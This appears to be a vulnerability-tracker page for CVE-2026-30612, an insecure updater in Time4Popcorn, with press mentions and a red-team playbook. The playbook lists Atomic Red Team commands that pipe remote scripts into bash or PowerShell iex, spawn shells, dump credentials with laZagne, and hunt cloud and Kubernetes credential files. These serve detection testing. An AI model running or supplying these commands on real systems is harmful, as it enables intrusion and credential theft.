CVE-2026-30612
Vulnerability Description
An issue in Time4 Popcorn for Windows <= 6.2.1.18 and Time4Popcorn for MacOS <= 6.2.1.17 and Time4Popcorn for Android <= 3.5.0.173 allows a remote attacker to execute arbitrary code via the updater.exe for windows, PT.updd on MacOS components
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (7)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
60 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (14)
14 mentions from 12 sources in the last 7 days BuzzFactor 75 / 100
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social bsky.app @hendryadrian.bsky.social 2026-10-27 14:00 UTCEye Security found that the abandoned Time4Popcorn updater downloaded and ran unsigned executables over HTTP. It sinkholed update domains and disabled the updater for about 2 million systems; Android users remain exposed, and the app shoul…Open source
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social bsky.app @unnchain.bsky.social 2026-10-27 10:40 UTC旧アプリ「Popcorn Time」(Time4Popcorn版)の更新機能に欠陥(CVE-2026-30612)。暗号化も署名確認もなく、通信を乗っ取られるとWin/Macで最高権限の任意コードが動く作り。開発終了でパッチなし。Eye Securityが約200万台で更新機能を止めたが、本体は2014年版Chromeベースで危険、Androidは未対処。入っていたら削除を。 https://research.eye.security/cve-2026-30612-a-vu…Open source
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news securityweek.com 2026-10-27 09:53 UTCDead Popcorn Time Updater Put Millions of Computers at Risk of Takeover - SecurityWeekOpen source
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social bsky.app @cybowl.bsky.social 2026-10-27 07:22 UTC🌍 À l’international (suite) • Time4Popcorn : Une faille RCE (CVE-2026-30612) dans l’application Time4Popcorn expose des millions d’appareils à des attaques à distance, corrigée après une découverte par Eye Security. (IT-Connect)Open source
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social bsky.app @cyberveille-ch.bsky.social 2026-10-26 21:30 UTC📢 CVE-2026-30612 : une faille RCE dans Time4Popcorn exposait des millions d'appareils Cet article rapporte la découverte et la remédiation d'une vulnérabilité critique de type RCE (Remote Code Execution) affectant l'application… 🟡 vérifica…Open source
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social bsky.app 2026-10-26 15:30 UTC💀 The app was abandoned. Its updater kept fetching code over plain HTTP and running it as SYSTEM/root. Eye Security registered the dead domains and pushed 2M+ updates just to switch it off. CVE-2026-30612, an old Popcorn Time fork. Uninsta…Open source
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news malwarebytes.com 2026-10-26 13:59 UTCPopcorn Time’s forgotten updater left millions of devices exposed to hijacking - MalwarebytesOpen source
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social bsky.app @securityonline.bsky.social 2026-10-26 08:12 UTCA Popcorn Time updater flaw, CVE-2026-30612, exposed millions of PCs to SYSTEM-level code. Eye Security disabled it on 2M+ systems. #PopcornTime #Time4Popcorn #CVE202630612 #EyeSecurity #Botnet #SupplyChain #RCE #MalwareOpen source
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social bsky.app @shiojiri.com 2026-10-26 07:56 UTC放棄された「Popcorn Time」アプリ、数百万台のデバイスをRCE攻撃の危険にさらす(CVE-2026-30612) | Codebook|Security News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/48250/Open source
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news scworld.com 2026-10-25 21:15 UTCSecurity firm disables vulnerable Popcorn Time updater - SC MediaOpen source
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social mastodon.social @hacksgr 2026-10-24 10:29 UTCBetween November 2025 and March 2026, Eye Security pushed over 2 million updates to computers it did not own to disable an abandoned background updater from Time4Popcorn. Tracked as CVE-2026-30612 with a CISA rating of 9.8, the affected ba…Open source
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news thehackernews.com 2026-10-24 09:04 UTCResearchers Push Over 2 Million Updates to Remotely Disable Popcorn Time Updater That Could Fuel a Botnet - The Hacker NewsOpen source
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news bleepingcomputer.com 2026-10-23 20:55 UTCAbandoned Popcorn Time app exposed millions of devices to RCE attacks - BleepingComputerOpen source
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news cyberinsider.com 2026-10-23 20:20 UTCPopcorn Time updater flaw exposed millions of devices to hijacking - CyberInsiderOpen source
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2026-30612 |
| time4popcorn.com |
GitHub CVE
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http://time4popcorn.com |
| github.com |
GitHub CVE
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https://github.com/Orcust-Automaton/Vulnerability/blob/main/LB-Link/AC1900_AZ2/bs_SetLimitCli_info.md |